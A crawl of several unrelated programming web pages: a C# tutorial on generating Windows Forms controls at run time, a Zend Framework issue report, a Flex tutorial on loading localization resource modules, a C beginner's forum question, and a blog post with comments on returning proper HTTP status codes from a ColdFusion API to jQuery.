you will be able to access this form and create simple dynamic forms according to the parameters
you have supplied. The form that is created is very simple. Supplying labels, font, font size,
textbox size into the generator screen, it builds a form with a series of labels and textboxes, arranged vertically.
It also adds a button to demonstrate how to implement events to dynamically created objects.
The project consists in a simple form class using standard system namespaces that you can find in any windows project:
//
// System namespace used in the project
//
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
Creating the dynamic content is not much different from what the Editor you are using (in this case SharpDevelop) does for you at design mode and stores in the .Designer.cs file.
One of the main difficulty, was to find a way to measure the size of objects precisely. For this, the best way I've found is to use a picture box to define a graphic string so i could retrieve
its size in pixel. I don't know at that point if it's the best solution, since, for very small font size (below 5), the text in the label gets wrapped.
//
// Creating dynamic form and dynamic objects in it.
//
//vertical position of each object on the form
int intVertPos = 0;
//maximum width of labels on the form
int intMaxWidthLabel = 0;
//maximum width of textBox on the form
int intWidthTextBox = 0;
//gap between fields
int intGapHeight = 0;
//string to be measured
string measureString = "";
//Font of the string
Font stringFont = null;
//Size of the string
SizeF stringSize;
//Dynamic tabIndex
int intIndex = 0;
//use an invisible picturebox that will help to graphically
//measure strings according their font and font size
Graphics g = pictureBox1.CreateGraphics();
//Calculate the height gap that has to be generated. For
//this calculation, we have to follow the principles above:
//The gap should be determined only by the height of the
//tallest object on window: the textBox
//Simulate the drawing of a dummy textBox, that will never
//been showed, and retrieve its height for spacing purposes.
TextBox dummyTextBox = new TextBox();
dummyTextBox.Font = new System.Drawing.Font(cmbFont.Text,
float.Parse(txtSizeFont.Text), System.Drawing.FontStyle
.Regular, System.Drawing.GraphicsUnit.Point,((byte)(0)));
int intHeight = int.Parse(txtSizeFont.Text) + int.Parse(
txtSizeFont.Text)/2;
dummyTextBox.Name = "TextBoxDummy";
intGapHeight = dummyTextBox.Height;
//Draw the Form object
//close it, if eventually existing
if (frm != null) frm.Close();
frm = new Form();
frm.AutoScaleDimensions =new System.Drawing.SizeF(6F, 13F);
frm.AutoScaleMode =System.Windows.Forms.AutoScaleMode.Font;
frm.Name = "frm_test";
//dimension is irrelevant at the moment
frm.ClientSize = new System.Drawing.Size(10, 10);
//the parent will be the current form
//frm.MdiParent = this;
//splash screen mode form, why not...
frm.ControlBox = false;
frm.FormBorderStyle = System.Windows.Forms.FormBorderStyle
.FixedSingle;
frm.AutoSizeMode = System.Windows.Forms.AutoSizeMode
.GrowAndShrink;
frm.BackColor = System.Drawing.Color.LightGray;
//for all the content of the Labels listbox
for (int i=0;i<lbLabels.Items.Count;i++)
{
//Object label
Label aLabel = new Label();
aLabel.Font = new System.Drawing.Font(cmbFont.Text,
float.Parse(txtSizeFont.Text), System.Drawing.FontStyle
.Regular, System.Drawing.GraphicsUnit.Point,
((byte)(0)));
//backcolor is for testing purposes, to see if the
//control fits correctly
aLabel.BackColor = System.Drawing.Color.AliceBlue;
aLabel.Location = new System.Drawing.Point(5,intVertPos);
// Set up string.
measureString = lbLabels.Items[i].ToString();
stringFont = new Font(cmbFont.Text, float.Parse(
txtSizeFont.Text));
// Measure string.
stringSize = new SizeF();
stringSize = g.MeasureString(measureString, stringFont);
int intWidthLabel = int.Parse(stringSize.Width.ToString("####0"));
//store the biggest width, so that the textboxes can be vertically aligned
if (intWidthLabel > intMaxWidthLabel)
{
intMaxWidthLabel = intWidthLabel;
}
aLabel.Size = new System.Drawing.Size(intWidthLabel, intGapHeight);
aLabel.Name = "LabelTitle";
aLabel.Text = lbLabels.Items[i].ToString();
intVertPos += intGapHeight;
frm.SuspendLayout();
aLabel.SuspendLayout();
frm.Controls.Add(aLabel);
}
// Size of textBox padding with "W" the largest char in
// ascii representation
char chrPadding = 'W';
if (int.Parse(txtQt.Text) > 30)
measureString = measureString.PadRight(30, chrPadding);
else
measureString = measureString.PadRight(int.Parse(
txtQt.Text), chrPadding);
stringFont = new Font(cmbFont.Text, float.Parse(
txtSizeFont.Text));
// Measure string.
stringSize = new SizeF();
stringSize = g.MeasureString(measureString, stringFont);
intWidthTextBox = int.Parse(stringSize.Width.ToString(
"####0"));
intVertPos = 0;
//for all the content of the Labels listbox -
//designing textbox
for (int i=0;i<lbLabels.Items.Count;i++)
{
//Object label
TextBox aTextBox = new TextBox();
aTextBox.Font = new System.Drawing.Font(cmbFont.Text,
float.Parse(txtSizeFont.Text), System.Drawing.FontStyle
.Regular, System.Drawing.GraphicsUnit.Point,
((byte)(0)));
aTextBox.BackColor = System.Drawing.Color.Yellow;
aTextBox.Location = new System.Drawing.Point(5 +
intMaxWidthLabel, intVertPos);
aTextBox.Size = new System.Drawing.Size(intWidthTextBox +
10, intGapHeight);
//giving a name to all your object will be the only way
//to retrieve them and use them
//for the purpose of this sample, the name can be the
//same for all textboxes.
aTextBox.Name = "TextBoxTitle";
//giving the maximun size in caracters for the textbox.
aTextBox.MaxLength = int.Parse(txtQt.Text);
//tab have to be ordered
aTextBox.TabIndex = intIndex;
intIndex +=1;
//Vertical position is to be manage according the
//tallest object in the form, in this case the
//textbox it self
intVertPos += intGapHeight;
//adding the textbox to the form
frm.SuspendLayout();
aTextBox.SuspendLayout();
frm.Controls.Add(aTextBox);
}
//put an action button to the left
Button btnFill = new System.Windows.Forms.Button();
btnFill.Location = new System.Drawing.Point(
intMaxWidthLabel + intWidthTextBox + 20, 0);
btnFill.Name = "btnNew";
btnFill.Size = new System.Drawing.Size(75, 23);
btnFill.TabIndex = intIndex;
btnFill.Text = "&Fill";
//define an event on click button to fill all the textboxes
btnFill.Click += new System.EventHandler(btnFillClick);
frm.Controls.Add(btnFill);
frm.Width = intMaxWidthLabel + intWidthTextBox + 95;
frm.Height = intVertPos + 10;
if (frm.Height > Screen.PrimaryScreen.WorkingArea.Height
|| frm.Width > Screen.PrimaryScreen.WorkingArea.Width)
MessageBox.Show("Beware! The size of the window is
bigger than your actual definitions...", "Warning",
MessageBoxButtons.OK);
frm.Show();
Now, the only remaining issue is to add events to the objects you've created. Once again the class designer file helps you a lot, and you can copy its content widely:
//
// Adding Events
//
btnFill.Click += new System.EventHandler(btnFillClick);
I've created a very simple function associated to this event in order to fill each textbox on the form:
//
// Event click function
//
private void btnFillClick(object sender,System.EventArgs e)
{
foreach (Control chcontrol in frm.Controls)
{
if (chcontrol.Name == "TextBoxTitle")
{
//just to see if the changes apply
if (chcontrol.Text == "Filling Test")
chcontrol.Text = "Filling Test Again";
else
chcontrol.Text = "Filling Test";
}
}
}
Since every textbox in the form had the same name, I just had to create a small loop among all objects in the form and work only with those
having the same name as the textboxes. Another solution consists in creating another instance of the object and work with it just as follow:
//
// instanciating the object on form to retrieve them
//
TextBox tb = (TextBox)frm.Controls["TextBoxTitle"];
if (tb.Text == "Filling Test")
tb.Text = "Filling Test Again";
else
tb.Text = "Filling Test";
Et voilà, le tour est joué!
Please feel free to comment this code and suggest new implentations and ideas!
2006-01-10: First version
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On success keyctl_describe_alloc() returns the amount of data in the buffer, less the NUL terminator. On error, the value -1 will be returned and errno will have been set to an appropriate error. | http://www.makelinux.net/man/3/K/keyctl_describe | CC-MAIN-2015-27 | en | refinedweb |
Issues
ZF-9604: Action helpers with PHP namespaces do not work
Description
The issue is Zend_Controller_Action_HelperBroker::getHelper().
I think the helper is stored in the stack as "Namespace\MyHelper", and then the code tries to access it from the stack using the name "MyHelper", i.e., without the namespace.
Posted by Wil Moore III (wilmoore) (wilmoore) on 2010-11-21T02:44:13.000+0000
Actually, the problem is Zend_Controller_Action_Helper_Abstract#getName.
It assumes only "_" in the name but doesn't consider names with "\".
If you extend Zend_Controller_Action_Helper_Abstract and override getName(), your helpers will work. I've been using the following:
BTW, the fix for issue ZF-10158 corrects this:
That being the case, this issue should be moved or closed.
Posted by Ramon Henrique Ornelas (ramon) on 2010-12-18T12:55:48.000+0000
Fixed with the issue ZF-9604. | http://framework.zend.com/issues/browse/ZF-9604?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel | CC-MAIN-2015-27 | en | refinedweb |
Last time I wrote about how the IO manager handles the creation of file handles and pointed out a potential security hole. If there is a namespace (or path) after your device's name in the path passed to CreateFile, the IO managed does not evaluate the security settings set on your device and relies on your driver to do the evaluation. For instance, if you create a device object and specify that only administrators have access to it and you do not validate access during IRP_MJ_CREATE processing, any user regardless of privilege level may open a handle to your device if they specify any namespace (i.e. "\Device\FooDevice\Blah") when opening a handle.
A gut shot reaction to this behavior is that is a very large tax for every device driver to pay and the NT kernel developers agreed. To rectify the situation a new characteristics flag, FILE_DEVICE_SECURE_OPEN, was added. This flag tells the IO manager that when a device namespace is present during handle creation that the IO manager should no longer skip the security check and should still evaluate if the caller has sufficient rights to open the device. By setting this flag, the caller's access to the object is always evaluated at the IO manager level and the driver does nothing more then set this flag.
You might say to yourself, "well that is backwards, shouldn't the driver writer get this behavior by default and choose to opt out of it instead of knowing that the device must opt in to get the most secure behavior?" and I would agree with you. The reason the most secure behavior was not made default was for backwards compatibility. This hole was not discovered until after NT 3.1 shipped and if the IO manager behavior was flipped, already shipping drivers would stop functioning.
So when should you set this flag? In my opinion you should always set this flag in a WDM driver! The one exception is if you are creating a device upon which a file system will be mounted (if you set the flag in this case, the file system will not be able to evaluate the security of the namespace string). In the opinion of the WDF team, this flag is so important that we tried to guarantee that this flag is set for all WDF device objects, even if you tried to clear it by calling WdfDeviceInitSetCharacteristics or WdfDeviceSetCharacteristics. If you are writing a KMDF driver which will have a file system mounted on top of it, this is how you would clear the flag after creating the WDFDEVICE
WdfDeviceWdmGetDeviceObject(device)->Characteristics &= ~FILE_DEVICE_SECURE_OPEN;
This KB article also discusses the side effects of the FILE_DEVICE_SECURE_OPEN flag on inbox drivers in previous OS releases. | http://blogs.msdn.com/b/doronh/archive/2007/10/04/making-sure-the-io-manager-evaluates-the-security-of-your-device.aspx | CC-MAIN-2015-27 | en | refinedweb |
22 February 2011
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To complete the steps in this article you'll need to have a comfortable level of understanding and experience with Flex development, either with Flash Builder formerly Flex Builder or with the command line using the SDK. Previous knowledge of localization is not required.
Intermediate
In Part 1 of this series, I described how to enable localization in Flex by compiling the resources directly into the application. Now, in Part 2, I'll continue where Part 1 left off and show an alternative method of localization in which you compile the resource properties files separately and load them at run time. I will also discuss the benefits and drawbacks of each method, as well as a general approach to localization for all applications.
Before moving on, here is a recap of the steps you completed for Part 1.
At this point, you have successfully enabled localization in your application by creating properties files and compiling them into your application. Once compiled into your application, they are called resource bundles and are accessed by the Flex resource manager to extract localized values. In this part of the tutorial, I will explain how to remove your compiled resource bundles from your application, and instead compile them into resource modules, which are collections of resource bundles that can be loaded at run time and accessed by the resource manager.
Part 2 of this series is a continuation of Part 1, and as such, uses the resulting project from the end of Part 1. The starter project localization-part-ii-start is actually equivalent to the end project of Part 1 localization-part-i-end . Continuing from this point, you can follow the steps in this article to externalize your properties files and load them at run time.
After completing the steps in Part 1, there are only four additional steps required to externalize and load your resource bundles. They are:
Your application will use many resource bundles during its execution. Even without application-specific localization, many core Flex framework classes rely on resource bundles to localize run-time and compile-time warnings and errors. Because of this, before you can create your own resource module which is essentially a collection of resource bundles , you must first find out which resource bundles to include. This can be done quite easily using the Flex compiler. Simply use the
-resource-bundle-list compiler option when compiling your application; for example:
mxmlc -locale= -resource-bundle-list=used-resource-bundles.txt Main.mxml
Note: You can do this by executing mxmlc via the command line directly, or you can add this compiler option to the Additional Compiler Arguments setting in Flash Builder.
bundles = collections components controls core effects layout resources skins styles textLayout
Now that you know what resource bundles your application uses, you can compile your own resource module. To do this, you must use mxmlc via the command line. You can't compile resource modules in Flash Builder yet.
To compile your resource module, simply specify four compiler options:
Note: You do not specify an MXML file to compile.
mxmlc -locale=en_US -source-path=locale/{locale} -include-resource-bundles=collections,components,controls,core,effects,layout,resources,skins,styles,textLayout -output resources.swf
Note: You can name your resource modules however you like in whatever directory structure you like, as long as you load them accordingly in your application which you will see how to do in Load your resource module at runtime .
This will create your resource module resources.swf with the locale en_US using the properties file in locale/en_US/ and including the additional resource bundles that you identified earlier.
Note: The properties file is no longer needed in the project, but it's a good idea to keep it around in case changes are required in the future.
Note: You may see the following error in your project: Unable to resolve resource bundle 'resources'. This is because you are now referencing a resource bundle that no longer exists it has been replaced with your newly created resource module . You will fix this error in the next section when you modify your compiler options.
With your newly created resource modules in place, you can now modify your compiler options to include the appropriate resource bundles as well as to specify that you will be using resource modules exclusively.
-include-resource-bundlescompiler argument and specify the list of resource bundles that you generated earlier.
-localecompiler flag followed by the equal "=" sign, and nothing else. This step is optional, but since this application will indeed be using resource modules exclusively, it's good practice to let the compiler know.
Follow these steps to set the compiler options:
-locale= -source-path ./locale/{locale} -include-resource-bundles collections components controls core effects layout resources skins styles textLayout
Note: When modifying the compiler options through Flash Builder, the values are not comma-separated.
Note: You may receive a warning stating that the source path for your locale is a subdirectory of the project's source path. You can resolve this by allowing source-path overlap using the following compiler option: -allow-source-path-overlap=true.
The final step is to modify your application to load your resource modules at runtime. Previously, in Part 1, you added a change event handler on the locales ComboBox that would change the locale based on the selected language in the ComboBox. The event handler function looked like this:
private function comboChangeHandler():void { resourceManager.localeChain = [localeComboBox.selectedItem.locale]; }
This was possible because the required resource bundles including your own custom
resources resource bundle were compiled and loaded into the application for you. As a result, your resource bundle was accessible by the resource manager immediately. Now, however, since you didn't compile the resource bundles directly into the application, they must be loaded manually. To do this, you call the ResourceManager's
loadResourceModule function. Then, once the resource module has been loaded, you can change the locale by changing the resource manager's
localeChain property, just as in the
comboChangeHandler function above.
There is really only one change that needs to be made to the
comboChangeHandler event handler function to achieve this, and the logic is quite simple. First, check to see if the resource module for the desired locale has been loaded yet. If not, then load it. Otherwise, change the locale as normal.
comboChangeHandlerfunction with the following:
import mx.events.ResourceEvent;]; } }
The code starts with a simple
if statement that checks to see if the resource module for the selected locale has already been loaded. If so, then it invokes the
completeHandler function, which simply changes the locale of the resource manager using the same line of code used in the original
comboChangeHandler function . If the resource has not yet been loaded, then it proceeds to load it. First, it identifies the location of the resource module, and then it calls the
resourceManager.loadResourceModule function. The
completeHandler function is invoked once the resource module is loaded and ready to use.
Note: Do not try to use the resource module immediately after calling
loadResourceModule . The ResourceManager's
loadResourceModule function makes calls asynchronously, and so the resource module may not yet be loaded and ready for use by the time the call is complete. Instead, always attach an event handler to listen for the
ResourceEvent.COMPLETE event. Only when this event is dispatched can you be sure that your resource module is loaded and ready for use.
You'll notice that when the application loads, no text is shown in the form at all.
As it stands now, the application will load an appropriate resource module and change locales whenever a language is selected from the combo box. However, when the application first runs, no resource modules are loaded, so no text is displayed.
To fix this, simply add a
creationComplete event handler function to your main application that, when invoked, will initiate the loading of the default locale en_US . Since the combo box by default displays the English language, you can simply invoke the
comboChangeHandler function to simulate that the language has just been selected.
private function init():void { comboChangeHandler(); }
creationComplete="init "to the main
<s:Application>tag." creationComplete="init()"> <fx:Script> <![CDATA[ import mx.events.ResourceEvent; [Bindable] private var locales:Array = [{label:"English (United States)", locale:"en_US"}, {label:"German (Germany)", locale:"de_DE"}, {label:"French (France)", locale:"fr_FR"}, {label:"Japanese (Japan)", locale:"ja_JP"}]; private function init():void { comboChangeHandler(); }>
You're done! Build your application, run it, and select different languages to see the contact form load the appropriate resource modules at run time. If you run into any problems, refer to the completed project files available in localization-part-ii-end.zip.
You've now completed both parts of this two-part tutorial! You've covered and implemented localization with the Flex framework using two common methodologies:
Now that you've learned them, it would be beneficial to recap the benefits and drawbacks of each approach so that you can use the right technique when building localization into your next application.
Table 1. Pros and cons of compiling directly.
Table 2. Pros and cons of compiling externally.
You might be wondering what approach you should take with your applications. In general, the use of compile-time resources is most suited for applications with a limited number of locales to support. Larger applications and applications that support many locales with a large number of localization strings would benefit more from the use of resource modules.
However, this doesn't mean that you must take only one approach. A hybrid approach can be very useful for many applications. For instance, you may want to use compile-time resources for your default or most commonly used locales, say English and French. For the rest, you can use resource modules and load them at run time. This would give you quick access for your common two locales, as well as support for many other locales via resource modules without having to increase the size of your application SWF.
Localization is an important feature for any application with a global audience. It is important to know the two approaches available and how to implement them to ensure that your application not only supports the appropriate locales, but also makes efficient use of the framework. Knowing both of these approaches, as well as their benefits and drawbacks, will help you make better-informed decisions on the most suitable approach to take with your own applications.
For a more thorough look at localization in Flex, including alternative methods, additional features, and common pitfalls that are beyond the scope of this article, refer to the Flex 4 Localization documentation.
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported License. Permissions beyond the scope of this license, pertaining to the examples of code included within this work are available at Adobe. | http://www.adobe.com/devnet/flex/articles/flex-localization-pt2.html | CC-MAIN-2015-27 | en | refinedweb |
ok for this exercise i had to put in the entered word into an array and print it backwords... i was able to do it but in a bad way heres my code:
how can i do this without having to enter the word twice?how can i do this without having to enter the word twice?Code:
#include <stdio.h>
#include <string.h>
int main(void)
{
char c[20],index,word;
int i;
printf("Enter a word: ");
scanf("%s", c);
word = strlen(c);
printf("Please enter the word again: ");
for(i = 0; i <= word; i++)
scanf("%c", &c[index]);
for(i = word; i >= 0; i--)
printf("%c", c[i]);
printf("\n");
return 0;
} | http://cboard.cprogramming.com/c-programming/102028-another-method-printable-thread.html | CC-MAIN-2015-27 | en | refinedweb |
Using Appropriate Status Codes With Each API Response
For a long time, I have thought about API request failures as falling into just two distinct categories: failure to communicate (ie. the server was down) or bad data (ie. invalid parameters). Failures to communicate with the server were out of my hands; as such, there was nothing I could do with those from a server standpoint. Requests with bad data, on the other hand, were certainly something within my domain of control and, happened to be something that I had strong feelings about.
Much of what I believe about API responses comes from my experience with SOAP-based web services. If you look at the SOAP request / response life cycle, you'll notice that SOAP responses always return a 200 status code, even when the request is invalid. Granted, the response might contain a SOAP fault (error) structure; but, from an HTTP standpoint, the request was successful.
I took this SOAP approach and extended it to my non-SOAP APIs. Typically, in my API architecture, the responses returned from the server always contain a 200 status code. Even if the request happens to be invalid, any error information would be contained in the body of a 200 response. This has been working well for me; but a few months ago, in a post about handling AJAX errors with jQuery, Simon Gaeremynck suggested that I use more appropriate status codes to describe the API response.
When using a variety of status codes in jQuery, only 200 responses will be handled by the success callback function; all other responses - 400, 404, 500, etc. - will be handled by the error callback function. I have to say, there is definitely something very delicious about having the success callback function handle only successful requests; I think it would keep the success work flow much cleaner. Definitely, this is something worth exploring; and, while it may have taken me a few months to get around to it, I think I like what I am seeing.
To test this, I set up a simple ColdFusion API page. For demo purposes, the API will do nothing but return a Girl object with an ID of 4. If the ID is not passed in, I will return a Bad Request response (status code 400). If the ID is passed in, but is not 4, I'll return a Not Found response (status code 404). And, if there is an unexpected error, I'll return an Internal Server Error (status code 500).
api.cfm
- <!---
- Set up a default response object. This is not the object that
- we are going to send back to the client - it is just an
- internal value object that we will use to prepare the response.
- --->
- <cfset apiResponse = {
- statusCode = "200",
- statusText = "OK",
- data = ""
- } />
- <!---
- We're going to wrap the entire processing algorithm in a try /
- catch block so that we can catch any request and processing
- errors and return the appropriate response.
- --->
- <cftry>
- <!--- Try to param the URL varaibles. --->
- <cftry>
- <!--- Param the URL paramters for the request. --->
- <cfparam name="url.id" type="numeric" />
- <!--- Catch any malformed request errors. --->
- <cfcatch>
- <!--- Throw a local error for malformed request. --->
- <cfthrow
- type="BadRequest"
- message="The required parameter [ID] was not provided, or was not a valid numeric value."
- />
- </cfcatch>
- </cftry>
- <!--- ------------------------------------------------- --->
- <!--- ------------------------------------------------- --->
- <!---
- Check to see if the given ID is a valid ID. For demo
- purposes, we are going to only allow the ID - 4.
- --->
- <cfif (url.id neq 4)>
- <!---
- The given ID does not correspond to a valid value in
- our "database". Throw an item not found error.
- --->
- <cfthrow
- type="NotFound"
- message="The requested record with ID [#url.id#] could not be found."
- />
- </cfif>
- <!--- ------------------------------------------------- --->
- <!--- ------------------------------------------------- --->
- <!---
- If we made it this far, the request is in a valid format
- and the parameters are accurate. Let's set up the response
- values (for our demo, we are going to pretend that we are
- pulling out of a database).
- --->
- <cfset apiResponse.data = {
- id = url.id,
- name = "Joanna"
- } />
- <!--- ------------------------------------------------- --->
- <!--- ------------------------------------------------- --->
- <!---
- If there was a problem here, the request itself was
- malformed (meaning, either the require parameters were
- not sent, or they were not valid). This should result in
- a status code of "400 Bad Request".
- --->
- <cfcatch type="BadRequest">
- <!---
- Since this was a malformed request, let's set the
- status code to be a 400.
- --->
- <cfset apiResponse.
- <cfset apiResponse.
- <!--- Set the data to be an array of error message. --->
- <cfset apiResponse.data = [ cfcatch.message ] />
- </cfcatch>
- <!---
- If the record could not be found, the parameters were
- correctly formatted, but were not accurate. This should
- result in a status code of "404 Not Found".
- --->
- <cfcatch type="NotFound">
- <!---
- Since this request did not point to a valid record,
- let's set the status code to be a 404.
- --->
- <cfset apiResponse.
- <cfset apiResponse.
- <!--- Set the data to be an array of error message. --->
- <cfset apiResponse.data = [ cfcatch.message ] />
- </cfcatch>
- <!---
- If we are catching an error here, it means that an
- unexpected exception has been raised. This should result
- in a status code of "500 Internal Server Error".
- --->
- <cfcatch>
- <!---
- Since something unexpected went wrong, let's set the
- status code to be a 500.
- --->
- <cfset apiResponse.
- <cfset apiResponse.
- <!--- Set the data to be an array of error message. --->
- <cfset apiResponse.data = [ cfcatch.message ] />
- </cfcatch>
- </cftry>
- <!---
- At this point, we have processed the request (either
- successfully or unsuccessfuly); we now have to return a
- value to the client. First, let's serialize the response.
- --->
- <cfset responseString = serializeJSON( apiResponse.data ) />
- <!--- Convert the response to binary for streaming. --->
- <cfset responseBinary = toBinary( toBase64( responseString ) ) />
- <!--- Set the status code and text based on the processing. --->
- <cfheader
- statuscode="#apiResponse.statusCode#"
- statustext="#apiResponse.statusText#"
- />
- <!---
- Set the content length so the client knows how much data
- to expect back.
- --->
- <cfheader
- name="content-length"
- value="#arrayLen( responseBinary )#"
- />
- <!--- Stream the content back to the client. --->
- <cfcontent
- type="application/x-json"
- variable="#responseBinary#"
- />
As you can see, I create an initial response data object, apiResponse. This is not the object that I end up streaming back to the client; rather, it is just an object that I use to help define my API response. Ultimately, I am only returning "data" with my response - I use the status code and the status text to define the response headers. To determine those response headers, I am simply using a local error handling work flow to throw and catch errors as needed.
With that API in place, I then set up a simple jQuery test page that would make various requests to the API with a variety of data values. Each data value should result in a different type of response (ie. 200, 400, 404).
- <!DOCTYPE HTML>
- <html>
- <head>
- <title>Using Appropriate API Status Codes</title>
- <style type="text/css">
- #output {
- border: 1px solid #999999 ;
- padding: 10px 10px 10px 10px ;
- }
- #output p {
- margin: 3px 0px 3px 0px ;
- }
- </style>
- <script type="text/javascript" src="jquery-1.4.2.js"></script>
- <script type="text/javascript">
- // When the DOM is ready, initialize the scripts.
- jQuery(function( $ ){
- // Get the link references.
- var badRequestLink = $( "a[ rel = '400' ]" );
- var inaccurateRequestLink = $( "a[ rel = '404' ]" );
- var goodRequestLink = $( "a[ rel = '200' ]" );
- // Get our output reference.
- var output = $( "#output" );
- // This is the function that will handle all of the
- // AJAX requests.
- var makeAPIRequest = function( data ){
- // Make the API call with the given data.
- $.ajax({
- type: "get",
- url: "./api.cfm",
- data: data,
- dataType: "json",
- // This method will handle 200 responses only!
- success: function( response ){
- // Show the successful response.
- showSuccess( response );
- },
- // This method will handle all non-200
- // reponses. This will include 400, 404, and
- // 500 status codes.
- error: function( xhr, errorType ){
- // Check to see if the type of error is
- // "error". If so, then it's an error
- // thrown by our server (if it is a
- // "timeout", then the error is in the
- // commuication itself).
- //
- // NOTE: Because this is an error, jQuery
- // did NOT parse the JSON response; as
- // such, we have to do that manually.
- if (errorType == "error"){
- // Show the error.
- showError(
- xhr.status,
- xhr.statusText,
- $.parseJSON( xhr.responseText )
- );
- }
- }
- });
- };
- // I show error responses.
- var showError = function( statusCode, statusText, errors ){
- output.html(
- ("<p>StatusCode: " + statusCode + "</p>") +
- ("<p>StatusText: " + statusText + "</p>") +
- ("<p>Errors: " + errors.join( ", " ) + "</p>")
- );
- };
- // I show success responses.
- var showSuccess = function( girl ){
- output.html(
- ("<p>ID: " + girl.ID + "</p>") +
- ("<p>Name: " + girl.NAME + "</p>")
- );
- };
- // Bind the bad request
- badRequestLink.click(
- function( event ){
- // Prevent the default action (location).
- event.preventDefault();
- // Make the API call without any data.
- makeAPIRequest( {} );
- }
- );
- // Bind the inaccurate request
- inaccurateRequestLink.click(
- function( event ){
- // Prevent the default action (location).
- event.preventDefault();
- // Make the API call with inaccurate data.
- makeAPIRequest( { id: 1 } );
- }
- );
- // Bind the good request
- goodRequestLink.click(
- function( event ){
- // Prevent the default action (location).
- event.preventDefault();
- // Make the API call with good data.
- makeAPIRequest( { id: 4 } );
- }
- );
- });
- </script>
- </head>
- <body>
- <h1>
- Using Appropriate API Status Codes
- </h1>
- <p>
- Make a <a href="#" rel="400">Bad Request</a>.
- </p>
- <p>
- Make an <a href="#" rel="404">Inaccurate Request</a>.
- </p>
- <p>
- Make a <a href="#" rel="200">Good Request</a>.
- </p>
- <div id="output">
- <em>No response yet.</em>
- </div>
- </body>
- </html>
As you can see, each of the three links - Bad Request, Inaccurate Request, Good Request - triggers an AJAX request to the API. These AJAX requests define both a success and an error callback handler. The success callback handles the 200 responses only. The error callback, on the other hand, will handle our 400 and 404 responses (and 500, which I am not demoing). Unfortunately, jQuery does not pass any response data to the error callback handler. As such, we need to manually gather the responseText from the XMLHTTPRequest object and use jQuery to parse it into valid Javascript objects for us.
As someone who was adamantly against this type of approach in the past, I have to admit that there is something about this that I find very appealing. It uses the callback handlers in a way that feels much more intentful; in fact, the whole architecture, both server-side and client-side, feels much more intentful. I think Simon was right - this is a cleaner approach to handling errors in AJAX. Thanks Sim
Good to see you came to the light side ;)
As far as jQuery is concerned, I agree that it isn't very consistent, but if you keep it in mind it's not a big concern (IMHO).
I also find that an API gets much cleaner this way.
Glad to help,
Simon
Very nice demo! The only thing is the returned message by the server is never .. user-friendly. It's why I never use the server message and I change it for a custom message.
Nice job!
@Simon,
Thanks for the help :) I agree - the API does feel cleaner this way; and, when something has more conscious intent behind it, I typically feel it to be the more appropriate approach.
Also, I just linked your full name - your original comments didn't have your URL.
Use this HTTP map to articulate what you want to say.
Very comprehensive :)
ps. ... and start documenting corMVC it looks awesome.
@Stephan,
Agreed! That's why I didn't rely on the status text; rather, I passed back JSON data that I had to manually parse into a Javascript object. This way, even with something like a 400 (Bad Request), I could still theoretically return an array of errors for something like form validation..
Do these status codes get written into the web server logs?
@dotnetCarpenter,
I'll definitely check that out... and I'll start working on doing something more with corMVC :)
@Ryan,
Thanks, I'll check that out as well.
@Marc,
Any logging, you'll have to do manually. Since no error actually bubbles up to the application - all catching is done locally - there is no exception from the application view point. If you need to be logging things like invalid API calls, that just needs to be part of your business logic (I assume).
Probably, you'll want to create a more CFC-based API that can have core methods for logging and error problems...
Marc
@Marc,
I'm not too learned in server logs; but, as far as I know, only uncaught errors are logged. Since these are being caught as part of the API work flow within the application, I don't believe the server will log them. But that is my hypothesis - not fact.
Ben, first nice post.
I have done the same thing for years, but I actually never thought about returning status codes. I would a struct method that would define ok or failed, then it would be upto the client to then decide from there what to do.
I might have a rethink, as this does seem a bit easier than trying to pick a number and have that define what the problem is.
@Marc,
You should never *generate* 500's in your application on purpose. Your application should always generate 200's, 300's, or 400's. If your application fails in a spectacular way, and cannot recover from failure, then *your appserver (CF) or webserver (Apache)* will respond with a 500.
200's: the request was clean and the desired output is contained within the current HTTP response.
300's: the request was clean and the desired output is *not* contained within the current HTTP response, but is at some other location.
400's: the request was erroneous and could not be completed. Reasons include: bad input data, bad input format, not authenticated, not authorized, etc.
500's: the server screwed up royally. There is no reason for your application to generate this. If you are writing a framework for hosting applications, and an application written for the framework screws up royally, then the framework might return this status. Otherwise, CF or Apache might return this status if there was an unhandled exception, if CF was itself buggy, etc. If your application is generating 500's on purpose, what that means to me is that you need to back to your application and rewrite it so that it starts handling errors in a sane fashion - e.g., respond instead with a 400 if the input data was bad, and log the error behind the scenes.
Cheers,
Justice
@Justice,
That's a really good point. In my code, I basically assumed that the default catch would return a 500 since I had no idea what might be throwing that particular error. But, the biggest problem is that if my app does return a 500 error explicitly AND the server might return a 500 error on its own (critical error), then the client needs to understand potentially two different flavors of 500 error... which is not good.
Point well taken, thanks.
course!!) to use one layer's error handling (the web service) in another layer's application (the web application server, ColdFusion.
My question was basically the same -- if your app is throwing web-server-like errors (especially 500!!), and they show up in the web server logs, how will you know the difference between a problem with your web server and a (handled) error by your app?
I don't have a complete grip on the whole concept here and my opinion could be (very easily) swayed, but the 500 caught my eye first.
@Ben, @Marc,
Generally speaking, if you catch an exception and recover from it and handle it in some fashion, that typically means the server did not experience a catastrophic error. It means the user did something stupid, tricky, or otherwise not allowed for some reason or other. The HTTP spec dictates that when the user is at fault, the response status should be in the 400's.
But, to take your scenarios, if you have a global catch which logs an error and rethrows or which logs an error and displays a nifty server-error page, you actually should respond with a 500. That falls under the "framework" case that I outlined above. In a global catch, it's not entirely clear that the web application, or at least this particular request/response, "recovered" from the error well enough to continue processing. Here, the server is actually at fault, not the user. And when the server is at fault, the HTTP spec says to respond with a 500's status.
You can certainly make a distinction between exceptions caught in a global catch and uncaught exceptions by setting an X-Header in your response. An X-Header is any header that begins with "X-". The HTTP spec says that the application is permitted to set any such header in any way it feels like. If you catch an exception in a global catch, feel free to set a header like <cfheader name="X-Exception-Interception" value="app-global-catch">. To HTTP, it is meaningless - but you can still see the X-Header in Firebug and you can still access it with jQuery.
Cheers,
Justice
@Justice,
That's interesting about the "X-" headers; I had not heard that before (my understanding of headers is limited).
@Marc, @Justice,
Just to get on the same page about some of the terms we are using, when we set a Header value, we're not actually throwing an exception. Granted, in my example, I am throwing an error to catch an error; but, the simple act of setting a header is *not* the same as raising an exception.
I can agree with you guys that using a 500 is probably not appropriate as @Justice says, since it's not a user-initiated problem. But, I can't see any issues with returning 400's errors. Also, keep in mind that I am never throwing a 400's error - I'm throwing custom errors that are being trapped and then later translated into header values.
